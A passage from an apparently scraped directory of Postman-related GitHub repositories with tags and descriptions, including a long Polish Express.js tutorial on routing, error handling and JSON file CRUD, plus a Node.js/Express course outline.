access, action, actor, admin, api blueprint, application, applications, asyncapi, auth, authentication, boot, browser, case, cases, compare, compose, consisting, container, default, define, design, development, devices, docker, engine, file, find, following, form, frontend, function, functional, host, import, inside, install, interface, json schema, library, link, local, material, mobile, mysql, oauth, openid, operate, popular, predefined, profile, prototype, render, reservation, responsive, result, schedule, search, security, series, server, sessions, sql, system, systems, template, templates, ticket, token, type, user, users, web app 		Bus Reservation System_ and tried to implement an Admin portal which can be operated over browsers and a series of REST APIs to interact with the system using mobile applications or frontend applications written for the browsers. The complete systems has two important actors : 1. Admin user 2. End user The _Admin user_ can access this application on browser (laptop or mobile/tablet, doesn't really matter as this is built using bootstrap, material design and is completely responsive) and can perform the following actions : 1. Signup 2. Login (Spring sessions) 3. Update their profile 4. Create an agency 5. Add buses to the agency 6. Add trips consisting of predefined stops and buses The _End user_ can use their mobile application (yet to be built, however the REST APIs are ready and could be used via Postman or Swagger) to perform the following actions : 1. Signup 2. Login (and get a JWT token) 3. List all available stops 4. Search a trip between any two stops 5. Filter search results with a date option 6. Book a ticket for a given trip schedule Admin interface and REST APIs both have their independent authentication mechanisms, the web application uses the cookie based authentication (provided by default by Spring security) and the REST API uses the JWT authentication for access. This application assumes the availability of 'MongoDB' installation on the localhost where the server will run or the use of docker-compose to boot up a mysqldb container and link the application with it within the realm of docker. Any changes that the admin users will do on the web portal will impact the search results of the end users, there will be certain use cases which you may find missing here, I hope you will appreciate that the overall idea was to present a way to create such an application completely inside the realm of Spring Boot and not to actually building a fully functional reservation system. The admin user interface is completely written in material design using Bootstrap v4 and is responsive to suite a variety of devices. The template engine used to render the admin views is Thymeleaf since the library is extremely extensible and its natural templating capability ensures templates can be prototyped without a back-end – which makes development very fast when compared with other popular template engines such as JSP. 1 stars 1 watchers 2 forks
luisgepeto/PostmanCourse
material, render, usar 		Un repositorio con ejemplos y material para aprender a usar Postman 1 stars 1 watchers 1 forks
ahazbhatti/Cryo-Login-Page-
customer, login, material, test, testing 		Cryo Innovations Login Page - Made in React for customer login, using material UI, JSX, and testing API with Postman, 0 stars 0 watchers 0 forks
keensoft/alfresco-ttl-106
alfresco, material 		Alfresco Tech Talk Live 106 - Supporting material 0 stars 0 watchers 0 forks
kmkipta/postman-demo
material, materials 		Simple postman demo materials 0 stars 0 watchers 0 forks
liyingxiu/quest
client, design, development, material 		A very simple postman-like api client using material design. It is still in its early stages of development 0 stars 0 watchers 0 forks

modules (7 listings) (Back to Top)

folio-org/folio-api-tests
backend, collection, collections, module, modules, postman collection, postman collections, test, tests 		FOLIO postman collections for backend modules 0 stars 0 watchers 6 forks
markande98/RESTful-API
data, database, fetch, list, module, modules, mongo, mongod, mongodb, order, orders, product, service, services 		A RESRful service. A product can be post, update, delete in this api and list of orders can be fetched from the database. I have used mongodb as a database and postman services and a lot of modules in my api. 0 stars 0 watchers 0 forks
krukarkonrad/task
file, files, folder, module, modules, node, task 		[Internship Assignment]Simple REST API (unzipping may be surprisingly "long" because of "root/node_modules" folder amount of small files) 0 stars 0 watchers 0 forks
laffingDragons/crudApp
client, crud, data, express, module, modules, node, rest 		Using node and express and various modules, using POSTMAN rest client manuplating Json data 0 stars 0 watchers 0 forks
martinproxy0/Zadanie_17_5
action, address, application, auth, automat, console, data, dependencies, developer, dynamic, ekspresowe, endpoint, error, example, express, file, folder, form, format, framework, function, github, host, html, http, https, index, install, intern, internal, jest, json, kazan, lang, link, list, listen, local, meta, method, middleware, model, module, modules, node, note, package, parse, parser, party, popular, problem, program, proxy, query, rake, require, role, route, routing, send, server, server., sets, source, stat, status, submit, system, test, type, updated, user, wars 		17. ExpressJS - ekspresowe tworzenie aplikacji w NodeJS Wyzwania: Dowiesz się czym jest ExpressJS Nauczysz się korzystać z routingu Poznasz czym są szablony 17.1. Wprowadzenie do Expressa Express jest jednym z najpopularniejszych frameworków dla aplikacji pisanych w Node.js. Jest bardzo lekki i pozwala na lepszą organizację aplikacji w modelu MVC. Ok, zwolnijmy. Już na samym starcie pojawiły się dwa pojęcia, których do tej pory nie omówiliśmy zbyt dokładnie: framework i MVC. Na początku przypomnijmy sobie czym jest framework. Czym są frameworki? Framework to swego rodzaju szkielet, na którym opieramy budowę naszej aplikacji. Jest pewnym poziomem abstrakcji, na której konstruujemy naszą aplikację. Czym jest abstrakcja? Abstrakcja w inżynierii oprogramowania to technika, dzięki której jesteśmy w stanie zapanować nad złożonością systemu. Najzwyczajniej w świecie nie da się myśleć na wielu płaszczyznach na raz, dlatego programiści dzielą problemy na pewne poziomy i to na nich rozwiązują mniejsze problemy. Przykładowo - programista korzystający z Reacta nie martwi się o niższy poziom abstrakcji, z którego nieświadomie korzysta używając Reacta. Korzystając z komputera także nie zastanawiamy się za bardzo co dzieje się w środku procesora czy też w jaki sposób jest skonstruowany. Tym poziomem abstrakcji po prostu nie zawracamy sobie głowy. Używając JavaScriptu nie myślimy w jaki sposób parser analizuje składnię języka. Jeśli nie jest to nam potrzebne, to możemy zająć się tym, co jest dla nas naprawdę istotne - pisaniem aplikacji internetowych! Express to właśnie kolejny, wyższy poziom abstrakcji, dzięki któremu możemy skupić się na właściwym problemie. Zawiera zbiór generycznych (możliwych do zastosowania w wielu miejscach / uniwersalnych) funkcjonalności, które powtarzają się w obrębie każdej aplikacji. Cały zamysł frameworka opiera się na zasadzie - nie wymyślaj koła na nowo, bo można budować na podstawie dobrych, uniwersalnych rozwiązań. Po wykonaniu tego samego zadania wiele razy, człowiek instynktownie szuka sposobu na automatyzację problemu - szczególnie leniwy programista. :) Framework ma niestety jedną wadę, która bywa momentami również zaletą - narzuca programiście sposób w jaki należy rozwiązać problem. Takie podejście z jednej strony nieco nas ogranicza, bo nie pozwala nam 'grzebać' w rozwiązaniu, a z drugiej strony zmniejsza ilość miejsc, w których moglibyśmy popełnić jakiś błąd. Zaletą takiego podejścia jest też to, że programiści korzystający z frameworków często borykają się z podobnymi problemami, przez co łatwo jest znaleźć rozwiązania, bo ktoś już na pewno zetknął się z czymś, co sprawia nam kłopot :) Wracając do Expressa - jest on niewielkim frameworkiem, który daje programiście przyjemną podstawkę do tworzenia aplikacji, ale nie narzuca żadnych praktyk - może o tym świadczyć chociażby fakt, że wiele znanych frameworków opiera swoją budowę na Express. Można do nich zaliczyć przykładowo Loopbacka, Sailsa czy Krakena. Model-View-Controller Ok, wiemy już czym jest framework - pora na pojęcie MVC :) Jest to skrót od ang. Model View Controller (Model Widok Kontroler). Jest jednym z najczęściej przewijających się wzorców architektonicznych w internecie. Popularnością pomału wypiera go architektura Flux, o której coraz częściej słychać (szczególnie w środowisku Reacta), ale o tym wzorcu powiemy sobie jeszcze przy okazji omawiania Reduxa - wróćmy do MVC. Głównym założeniem przyjętym podczas projektowania MVC było oddzielenie warstwy prezentacji od logiki biznesowej aplikacji. To podejście umożliwia tworzenie narzędzi działających bez graficznego interfejsu (zastępuje go wtedy tzw. Command Line Interface, a.k.a. CLI) i jest dalej popularne w środowisku Unixowym. Tak więc: Model jest reprezentacją logiki aplikacji / problemu z jakim się zmagamy / domeną. Widok opisuje w jaki sposób coś wyświetlić. W React są to komponenty (szczególnie te prezentacyjne). Kontroler przyjmuje dane od użytkownika aplikacji i reaguje na jego działania w obrębie widoku. Aktualizuje widok i model aplikacji. O samej architekturze można napisać osobny moduł tym bardziej, że jak już wcześniej wspomnieliśmy bardzo często przewija się on w środowisku front-end developerów i jest częścią składową wielu frameworków. Sama implementacja MVC wymaga wiedzy na temat programowania obiektowego i wzorców projektowych. Zainteresowanych zapraszam do przeczytania tej książki na temat wzorców projektowych stosowanych w JavaScripcie. Express dostarcza wielu funkcjonalności do tworzenia aplikacji webowych. Jak już wspomniałem, ułatwia on przede wszystkim szybki rozwój aplikacji opartych na Node.js. Podstawowymi cechami tego frameworka są: serwowanie plików statycznych za pomocą jednej komendy konfigurowanie middleware, czyli pośrednika między żądaniem a odpowiedzią w momencie, kiedy użytkownik wykonuje jakieś akcje, np. wysyła formularz, middleware może wykonać pewne czynności zanim dane zostaną zapisane. Nie sprowadza się to oczywiście tylko do zapisu danych, ale szerzej na temat tego zagadnienia powiemy sobie w dalszym rozdziale definiowanie tablicy routingu, czyli ścieżek (adresów), które wyświetlają odpowiednie treści, przyjmują i zapisują dane, bądź odpytane o dane zwracają je. Bazują na protokole HTTP oraz URI (ang. Uniform Resource Identifier) pozwala na dynamiczne tworzenie stron HTML bazujących na argumentach przekazanych do istniejących szablonów Nie przejmuj się, jeśli powyższe opisy wydają się być nieco zagmatwane. Kolejne rozdziały rozjaśnią sprawę! Zanim jednak przejdziemy do omawiania poszczególnych funkcjonalności Expressa, przeprowadzimy proces instalacji. Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.2. Instalacja ExpressJS Framework Express instalujemy używając npm, analogicznie do innych pakietów, które dodawaliśmy już we wcześniejszych modułach. Dla przypomnienia, wystarczy, że zainicjujesz swój projekt - npm init, a następnie użyjesz komendy npm install express --save, która zapisze zainstalowany pakiet w katalogu node_modules/ i doda go do sekcji dependencies w pliku package.json. Razem z Expressem należy zainstalować jeszcze jeden ważny moduł - body-parser, który jest pakietem pozwalającym na obsługę różnych formatów danych w middleware takich jak JSON, text czy tzw. surowe dane (ang. raw data). Aby go zainstalować, wpisz npm install body-parser --save. Pierwsza aplikacja w ExpressJS Sprawdźmy teraz, czy wszystko działa tak jak powinno. Testowa aplikacja, jaką stworzymy przy użyciu Expressa, będzie przedstawiała podstawową zasadę działania tego frameworka. Aplikacja uruchomi serwer oraz będzie nasłuchiwać na porcie 3000 w oczekiwaniu na połączenie - dokładnie w taki sam sposób, jak w przypadku serwera HTTP napisanego w “czystym" Node.js. Nasłuchiwanie oznacza nic innego jak oczekiwanie na połączenie - po wystąpieniu żądania, serwer odpowie nam klasycznym “Hello world". Zanim zaczniemy tworzyć aplikację, musimy wytłumaczyć sobie pewne pojęcia. Opis pojęcia routingu Routing to sposób określania jak aplikacja będzie odpowiadać na żądania klienta na dane endpointy przy użyciu konkretnych metod HTTP. Przypomnijmy sobie w jaki sposób wyglądały metody HTTP: GET - najprostsza z metod HTTP - służy do pobierania zasobów z serwera. Pobranymi zasobami mogą być np. pliki HTML, CSS, JavaScript czy obiekty JSON / XML. POST - ta metoda jest używana do wysyłania danych do serwera. Stosuje się ją np. przy formularzach lub przy wstawianiu zdjęć i wysyłaniu ich jako załącznik. Zwykle dane te wysyłane są jako para klucz-wartość. PUT - działa podobnie jak POST, czyli również służy do wysyłania danych. Różnicą jest ograniczenie do wysłania tylko jednej porcji danych - np. jednego pola. Metoda ta najczęściej używana jest do aktualizacji istniejących danych DELETE - metoda, która służy do usuwania danych z serwera. Chodzi oczywiście o dane, które zostały wskazane przy wysyłaniu żądania. Kolejnym pojęciem jest URI (nazywane również PATH) - jest to właśnie wspomniany wcześniej endpoint, który zawiera polecenia do wykonania gdy zostanie wywołany przez żądanie. Czas start! Na początek stwórzmy plik server.js w katalogu z projektem. Po zainstalowaniu powyższych zależności, drzewo projektu powinno wyglądać w następujący sposób: Aby mieć możliwość skorzystania z zainstalowanych zależności, na początku należy zadeklarować zmienną, w której będziemy przechowywać funkcjonalności pakietu Expressa. var express = require('express'); Jak widzisz, każda paczka JS'a działa dokładnie w taki sam sposób. Koncepcja modułów będzie przewijać się aż do końca tego kursu. Następnym krokiem będzie stworzenie aplikacji Express: var app = express(); Naszą aplikację przypisaliśmy do zmiennej app. Teraz możemy sprawić, aby odpowiadała prostym Hello world w momencie, w którym odbierzemy wysłane zapytanie GET na adres strony domowej: app.get('/', function(req, res) { res.send('Hello world'); }); Powyższy kod rejestruje pierwszy routing (proces przetwarzania otrzymanego adresu żądania i na jego podstawie decydowanie, co powinno zostać uruchomione) na wysłane żądanie GET po wejściu na stronę główną ( http://localhost:3000/ ). Jako callback na wystąpienie tego zdarzenia wywoływana jest funkcja, która w przypadku udanej odpowiedzi wyśle wiadomość Hello world. To jednak jeszcze nie koniec. Zarejestrowaliśmy obsługę pierwszego routingu, ale należy zainicjować nasłuchiwanie serwera na to i inne zdarzenia. Dopiszmy więc: var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Po zapisaniu powyższego kodu, należy uruchomić go komendą node server.js (lub za pomocą Nodemona, którego poznaliśmy w pierwszym module) - teraz po ponownym wejściu na adres http://localhost:3000/ powinniśmy zobaczyć następujący widok: Jest to znak, że nasza aplikacja działa! Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.3. Route, czyli ścieżka wyznaczona dla użytkownika aplikacji Wykorzystanie endpointów Rozwińmy teraz trochę aplikację stworzoną w poprzednim podrozdziale. Aktualnie kod w pliku server.js wygląda następująco: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Endpointy statyczne Na początek zmodyfikujemy lekko żądanie GET i do strony głównej zamiast Hello world! wpiszmy Hello GET! oraz dodamy linijkę drukującą otrzymane żądanie (po stronie serwera) jak poniżej: app.get('/', function (req, res) { console.log('Otrzymałem żądanie GET do strony głównej'); res.send('Hello GET!'); }); Warto w tym miejscu wspomnieć o narzędziu Postman - możesz pobrać je ze strony https://www.getpostman.com/. Używa się go do testowania endpointów. Postman jest prosty i intuicyjny w obsłudze - wystarczy, że podasz adres oraz metodę HTTP, jakiej chcesz użyć w odpowiednich polach i… już :) Pozostaje tylko wysłanie requesta i sprawdzenie czy response zgadza się z naszymi oczekiwaniami. Dodajmy też inne metody HTTP do naszej aplikacji. Zacznijmy od POST. Dla tej i kolejnej metody wykonamy podobne operacje. Chodzi tutaj o to, aby zaobserwować działanie zarejestrowanych endpointów. app.post('/', function (req, res) { console.log('Otrzymałem żądanie POST do strony głównej'); res.send('Hello POST!'); }); Do tego czasu oba nasze zapytania kierowaliśmy do strony domowej. Dodajmy teraz obsługę żądania z metodą DELETE oraz inną ścieżką: app.delete('/del_user', function (req, res) { console.log('Otrzymałem żądanie DELETE do strony /del_user'); res.send('Hello DELETE!'); }); DLA CHĘTNYCH: Przetestuj powyższe zapytanie w Postmanie! :) Dla praktyki, dodajmy jeszcze kilka innych endpointów, a następnie przejdźmy do testowania. app.get('/list_user', function (req, res) { console.log('Otrzymałem żądanie GET do strony /list_user'); res.send('Strona z listą użytkowników!'); }); app.get('/ab*cd', function(req, res) { console.log('Otrzymałem żądanie GET do strony /ab*cd'); res.send('Wzór pasuje'); }); Po dodaniu powyższych fragmentów kodu zapisz plik server.js, a następnie ponownie użyj komendy node server.js chyba, że używasz Nodemona :) Zerknijmy na endpoint /list_user Otrzymaliśmy to, czego oczekiwaliśmy. Sprawdźmy jeszcze inne. Jeśli jednak użyliśmy endpointa, którego nie zdefiniowaliśmy, otrzymamy odpowiedź jak na ostatnim obrazku. Endpointy dynamiczne Istnieje również inny typ endpointów, które nazywa się dynamicznymi. Używanie ich pozwala na przekazywanie parametrów i bazowanie na nich. Wróćmy na moment do kodu stworzonego na samym początku: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Najpierw zmodyfikujemy trochę bazowy kod. Usuńmy linijki 8-10, które miały nam tylko pokazać podstawowe informacje na temat serwera. Zamiast tego napiszmy po prostu: app.listen(3000); Tworzenie dynamicznego routingu pozwala na przekazywanie parametrów, więc spróbujmy najpierw z przykładowym id. Zamiast odwołać się do strony domowej ('/'), odwołajmy się do zmiennego parametru id. Parametr zmienny od statycznego rozróżnia się poprzez dodanie dwukropka (:) przed nazwę. W naszym przykładzie endpoint będzie więc wyglądał następująco: /:id Zmieńmy jeszcze odpowiedź z Hello world na 'Identyfikator, który został dopisany to ' + req.params.id. Czym jest req.params.id? req jest obiektem reprezentującym zapytanie HTTP (ang. request). Posiada on różne parametry, jak na przykład body (czyli ciało zapytania), nagłówki HTTP oraz parametry (params), które mamy zamiar odczytać. Parametr, który wstawiliśmy jako część adresu w metodzie GET, przekazujemy jako id. W poniższym przypadku wyświetli się komunikat Identyfikator który został dopisany to 123, o ile zapytanie wysłano na adres http://localhost:3000/123. Popróbuj z różnymi innymi parametrami i sprawdź czy aplikacja działa tak, jak tego oczekujesz. Obsługa błędu 404 za pomocą ExpressJS Co jeśli serwer nie rozpozna żądania? W Expressie odpowiedź 404 nie jest wynikiem błędu, więc nie jest wyłapywany w trakcie działania aplikacji. Spowodowane jest to tym, że 404 zwykle oznacza brak możliwości wykonania danej czynności, a nie błąd występujący z powodu jakiejś 'wpadki' programisty. Innymi słowy, Express wykonał wszystkie funkcje middleware (które poznamy w kolejnym rozdziale) oraz route'y i dopiero wtedy dowiedział się, że żaden z nich nie odpowiedział na żądanie - taki przypadek możemy obsłużyć poprzez dodanie funkcji middleware na samym końcu (poniżej pozostałych funkcji), aby obsługiwała status 404. Powróćmy znów do poprzedniego szablonu z metodą GET na stronę domową ('/'), która zwraca nam Hello world!. Dopiszmy teraz metodę middleware, która obsłuży nam błąd 404. Na samym końcu, poniżej fragmentu z nasłuchiwaniem dodajmy obsługę odpowiedzi 404: app.use(function (req, res, next) { res.status(404).send('Wybacz, nie mogliśmy odnaleźć tego, czego żądasz!') }); Po ponownym uruchomieniu skryptu, w przeglądarce powinieneś zobaczyć Hello world!. Spróbuj teraz dopisać coś na koniec adresu (tak jak w poprzednim rozdziale dopisaliśmy id). Powinieneś otrzymać następujący komunikat: Parametr next, który przekazujemy do funkcji jest funkcją, która pozwala “iść dalej" do kolejnej funkcji middleware lub zakończenia żądania. Można w ten sposób stworzyć także obsługę pozostałych błędów. Najczęściej obsługiwane błędy to: 400 - bad request - występuje gdy serwer nie może przetworzyć zapytania 401 - unauthorized - występuje gdy wymagane jest uwierzytelnienie, a nie zostało dostarczone 403 - forbidden - żądanie jest poprawne, jednak serwer odmawia odpowiedzi, może to wystąpić w przypadku gdy np. użytkownik jest zalogowany ale nie ma uprawnień do wykonania żądania 404 - not found - zasoby nie zostały znalezione 500 - internal server error - występuje gdy występują nieznane warunki i nie ma żadnej konkretnej wiadomości Zadanie: Operacje CRUD na pliku JSON Stwórzmy teraz aplikację, która będzie otwierać zewnętrzne pliki .json oraz edytować je. Zanim zaczniemy, w folderze projektu stwórz plik server.js, a następnie zainicjalizuj projekt poprzez wpisanie npm init w konsoli. Przejdźmy do pobrania potrzebnych zależności - tym razem będzie nam potrzebny Express oraz body-parser. Jak się zapewne domyślasz, możesz zainstalować je za pomocą komendy npm install --save express body-parser. Po pobraniu paczek, możemy śmiało przejść do pisania kodu - na początek przypisz zależności do zmiennych w pliku server.js. Dodaj także linijkę var fs = require('fs') - fs będzie nam potrzebny do operacji na plikach. Nie musimy go instalować, bo jest on wbudowany w Node :) Skoro zależności mamy już załatwione, zadeklaruj zmienną app, która wywoła funkcję express() oraz zmienną stringifyFile (na razie bez zadeklarowanej wartości). Tuż pod deklaracją zmiennych dodaj także linijkę app.use(bodyParser.json()); - to pozwoli Ci wykorzystać middleware body-parser, które zainstalowaliśmy przed chwilą. body-parser jest nam potrzebny, aby korzystać z formatu application/json - póki co nie przejmuj się pojęciem middleware, zajmiemy się nim nieco dalej w tym kursie :) Stwórz teraz endpoint GET /getNote, gdzie po wywołaniu zostanie wczytany Twój zewnętrzny plik JSON oraz wyświetlona zostanie jego zawartość. Przykłądowy plik test.json: {"menu": { "id": "file", "value": "File", "popup": { "menuitem": [ {"value": "New", "onclick": "CreateNewDoc()"}, {"value": "Open", "onclick": "OpenDoc()"}, {"value": "Close", "onclick": "CloseDoc()"} ] } }} Metoda która pozwoli nam na odczytanie pliku to readFile, którą można wywołać z zadeklarowanego wcześniej fs. Jako parametry przyjmuje ona najpierw plik, następnie opcje (np. kodowanie) i funkcję, która wywoła się po załadowaniu. W naszym przypadku będzie to więc następujący kod: fs.readFile('./test.json', 'utf8', function(err, data) { if (err) throw err; stringifyFile = data res.send(data); }); Teraz pora na stworzenie endpointa, który po wywołaniu nadpisze nam podany plik. Stworzymy do tego dynamiczny endpoint, który dopisze do pliku string, który przekażemy jako parametr. Stwórz tym razem POST na /updateNote/:note. Po jego wywołaniu tekst, który znajduje się w miejscu /:note powinniśmy dopisać do wczytanego pliku poprzez dodanie req.params.note do zmiennej stringifyFile, która przechowuje aktualną zawartość pliku. Po przypisaniu powyższej zmiennej, należy ponownie odwołać się do modułu fs tym razem używając metody writeFile. Pomoże nam w tym następujący fragment kodu: fs.writeFile('./test.json', stringifyFile, function(err) { If (err) throw err; console.log('file updated'); }); Na końcu pliku dodaj nasłuchiwanie na porcie 3000. Zapisz plik i uruchom aplikację wpisując node server.js w konsoli. Otwórz Postmana, ustaw metodę zapytania na GET, a w pole adresu wpisz http://localhost:3000/getNote. Jako response powinieneś otrzymać Twój stworzony wcześniej plik JSON. Po zmianie z GET na POST oraz wpisaniu /updateNote/test zamiast /getNote oraz wysłaniu requesta, Twój plik JSON powinien zostać zaktualizowany o słowo test :) Po ukończeniu zadania, wrzuć swój kod na Githuba i przekaż link do repozytorium mentorowi :) Podgląd zadania https://github.com/martinproxy0/Zadanie_17_3.git Wyslij link 17.4. Serwowanie plików statycznych Express posiada wbudowaną możliwość serwowania plików statycznych - takimi plikami są na przykład obrazki, pliki CSS czy JS. Aby serwować te pliki statycznie, wystarczy użyć express.static. Pliki statyczne to pliki, które zostają dostarczone do klienta bez generowania, modyfikacji czy przetwarzania - jedyne, co trzeba z nimi zrobić, to przekazać nazwę katalogu, w którym są przetrzymywane, do express.static - to wystarczy aby zacząć je serwować. Spróbujmy przedstawić to sobie na przykładzie. Załóżmy, że przetrzymujesz swoje zdjęcia i pliki CSS w katalogu assets/. Aby zacząć je serwować, możesz więc użyć następującej linijki: app.use(express.static('assets')); Zmodyfikujmy więc całkowicie naszą aplikację. Najpierw stwórzmy w katalogu projektu nowy katalog o nazwie assets/. Wrzućmy do niego jakiekolwiek zdjęcie/obrazek. W pliku server.js wróćmy do poprzedniego stanu (zanim zaczęliśmy zajmować się routingiem): var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, 'localhost', function() { var host = server.address().address; var port = server.address().port; console.log('Przykładowa aplikacja nasłuchuje na http://' + host + ':' + port); }); W tym przykładzie sami definiujemy port i adres, ale w prawdziwej aplikacji moglibyśmy tych wartości nie znać. Częstym przykładem jest sytuacja w której adres i port są zdefiniowane w osobnym pliku konfiguracyjnym. Ten plik byłby inny na naszym komputerze niż na serwerze na którym będziemy publikować aplikację - ale nasz kod ma działać w obu lokalizacjach. Dlatego do wyświetlenia linka potrzebowalibyśmy pobrania tych danych za pomocą metody .address(). Pozostaje teraz jedynie w linii nr 3 dodać to, o czym powiedzieliśmy sobie chwilkę temu, czyli linijkę app.use(express.static('assets')); Dla przypomnienia, w nawiasach do express.static przekazujemy katalog, w którym znajdują się pliki, które chcemy serwować. Po zapisaniu pliku server.js, możemy uruchomić aplikację. Teraz, aby zobaczyć nasz obrazek, wystarczy że po http://localhost:3000/ podamy nazwę pliku z rozszerzeniem - u mnie wygląda to tak: Stwórz sobie teraz prosty plik index.html, który będzie miał formularz z dwoma inputami typu text (o nazwach first_name i last_name) oraz jednym typu submit. Element
posiada atrybuty takie jak action oraz method. Atrybut action pozwala określić, gdzie wysłać dane z formularza w momencie, gdy zostanie on zatwierdzony. W naszym przypadku będzie to http://localhost:3000/userform. Atrybut method określa metodę, jakiej chcemy użyć - w naszym przypadku niech będzie to GET. Przykładowo, Twój index.html może wyglądać tak: Node Hello world example

First Name:

Last Name:

Gdy już będzie gotowy, wrzuć go do katalogu /assets. Teraz czas na modyfikację pliku server.js. Najpierw zmieńmy to, co chcemy wysyłać, gdy zostanie wysłane żądanie do strony domowej. Zamień więc res.send('Hello world') na res.sendFile('/index.html') - jak się zapewne domyślasz, res.sendFile() wysyła w odpowiedzi plik zamiast wiadomości. Musimy również dodać obsługę żądania na endpoint, do którego będziemy kierować nasz formularz. app.get('/userform', function (req, res) { const response = { first_name: req.query.first_name, last_name: req.query.last_name }; res.end(JSON.stringify(response)); }); W czasie przetwarzania żądania, tworzymy nowy obiekt response, który ma klucze first_name oraz last_name. Do poszczególnych właściwości przypisujemy dane, które otrzymujemy w obiekcie req (od ang. request), czyli w obiekcie z żądaniem. Na koniec wyświetlamy nasz obiekt przetworzony na typ string za pomocą metody JSON.stringify. Po zapisaniu pliku server.js, aplikacja powinna pokazywać formularz, jak poniżej. Po wpisaniu wartości do inputów i wysłaniu ich, powinieneś zostać przekierowany do strony /userform, a po znaku zapytania powinny zostać wyświetlone parametry umieszczone przez Ciebie w inputach. Zadanie: Żonglujemy danymi pomiędzy endpointami Napisz kod obsługujący formularz zgodnie z wskazówkami z tego submodułu, a następnie wyślij swój kod na repozytorium oraz przekaż go do sprawdzenia mentorowi. Podgląd zadania https://github.com/martinproxy0/Zadanie_17_4.git Wyslij link 17.5. Middleware - pośrednik między żądaniem a odpowiedzią		 0 stars 0 watchers 0 forks
SurendraVidiyala/node-modules
module, modules, node 		Node and the HTTP Module 0 stars 0 watchers 0 forks
treetrunkz/nodeapp
access, accessed, application, dynamic, dynamically, express, install, interface, list, module, modules, mongo, mongoose, multiple, node, nodejs, parse, parser, server, todo, tree, user, users 		This is a nodejs application. It is a todo list that can be accessed and created by multiple users. The API is accessed by Postman. The server and interface is set up to POST and GET dynamically. To populate node_modules `npm install ejs, express, mongoose, body-parser --save -g` + tsc -w 0 stars 0 watchers 0 forks

programming (7 listings) (Back to Top)

Inn4ki/chatapp
admin, application, applications, auth, chat, completed, computer, course, debug, debugging, design, designed, engine, file, files, form, format, included, including, lang, language, learn, learned, learning, lesson, logging, middleware, parameter, passing, passport, program, programming, protecting, quality, query, rating, route, router, routes, sets, speed, sync, training, tutorial, user, users, validation, video, web app 		NODE.JS WEB APPS WITH EXPRESS by Wes Higbee In this Node.js Web Apps with Express training course, expert author Wes Higbee will teach you how to create web applications and APIs with Express. This course is designed for users that are already familiar with HTML, CSS, and JavaScript. You will start by learning how to set up a web app, then jump into learning about the Jade view engine. From there, Wes will teach you about CRUD, including how to add the chat room view, respond with JSON, and edit chat rooms. This video tutorial also covers routers, middleware, APIs, and logging and debugging. Finally, you will learn about auth with passport, including passport user validation, protecting admin routes, and query string parameters. Once you have completed this computer based training course, you will have learned how to create web applications and APIs with Express. Working files are included, allowing you to follow along with the author throughout the lessons. About the Publisher Presented in stunning HD quality, the Infinite Skills range of video based training provides a clear and concise way to learn computer applications and programming languages at your own speed. Delivered to your Desktop, iPad ... More about Infinite Skills Table of Contents Setting Up A Web App What You Will Learn 00:03:28 About The Author 00:01:23 Project Setup 00:02:14 Spinning Up Our Server From Scratch 00:05:11 Serving Index.HTML 00:04:32 Serving Bootstrap Assets 00:05:52 Styling Our Site 00:01:16 How To Access Your Working Files 00:01:15 The Jade View Engine Why View Engines? 00:02:10 The Jade View Engine 00:06:32 HTML Tags In Jade 00:02:16 Attributes Classes And Ids In Jade 00:02:06 Serving Up Jade Views 00:04:24 HTML Reuse In Jade 00:06:26 Code In Jade Views 00:02:37 Passing Data To View Rendering 00:02:01 Setting A Default View Engine 00:00:37 String Interpolation In Jade 00:02:30 Generating Tables In Jade 00:03:50 Tabs And Spaces Oh My 00:01:21 Demystifying Jade 00:02:21 Crud Setting The Stage 00:01:01 Add Chat Room View 00:04:21 Post Chat Room Form 00:06:56 Parsing Form Data From The Request Body 00:04:22 Responding With JSON 00:03:20 Admin Chat Rooms Workflow 00:02:21 Named Route Parameters To Delete Rooms 00:05:59 Edit Chat Rooms 00:06:01 Edit Chat Rooms Part - 2 00:02:00 Responding With 404 Not Found 00:01:39 Wrap Up 00:01:23 Routers Extracting An Admin Module 00:04:47 Modular Admin Router 00:04:00 Pluggable Admin Mount Path 00:03:15 Stumbling Block - Relative Redirects 00:02:49 Chaining Routes 00:01:57 Middleware Understanding Routing And Middleware 00:05:45 Adding Custom Logging Middleware 00:02:15 Understanding Next() 00:01:31 Middleware To Fetch Data 00:07:24 Order Matters.Av 00:01:09 Scoping Middleware 00:03:53 What To Do With Errors 00:03:01 Last Thoughts 00:03:19 APIs A Client Side Chat App 00:01:55 Setup The Client Side Chat App 00:03:01 Creating An API 00:05:42 Modules Are Singletons 00:01:50 Postman To Test API 00:01:24 API Get Room Messages 00:05:49 Posting To An API 00:03:37 API To Delete Messages 00:03:15 Parsing JSON In The Request Body 00:03:25 Logging And Debugging Express-Debug 00:03:03 Logging With Morgan 00:01:45 File Access Log With Morgan 00:01:28 Built-In Express Debugging 00:01:57 When Things Go Wrong Throwing An Error In A Route Handler 00:01:39 Errors In Production 00:01:53 Custom Error Handlers 00:02:40 Browser Hangs 00:00:58 Hanging Async Request Handlers 00:01:17 Errors In Callbacks 00:03:32 Don't Swallow Callback Errors 00:02:46 Auth With Passport Auth With Passport 00:01:49 Login Form 00:06:31 Passport User Validation 00:05:20 Passport Session Serialization 00:01:49 Logging In 00:06:23 Logout 00:03:52 Authorizing Access To Block Anonymous Users 00:03:40 Protecting Admin Routes 00:02:04 Using User Information 00:02:48 Bypassing Login In Development 00:03:11 Query String Parameters 00:02:34 Auth Cookies 00:02:17 Last Thoughts 00:05:45 Publisher: Infinite Skills Release Date: March 2016 ISBN: 9781491958933 Running time: 4:09:49 Topic: Node.js 4 stars 4 watchers 5 forks
glowcoil/Postman
lang, language, message, passing, program, programming 		A programming language based on message passing. 1 stars 1 watchers 0 forks
FourKites/Tracking-Locations-API
integrating, lang, language, program, programming, rating 		Tracking Locations API integrating with different programming languages. 0 stars 0 watchers 1 forks
elvisoliveira/literate-train
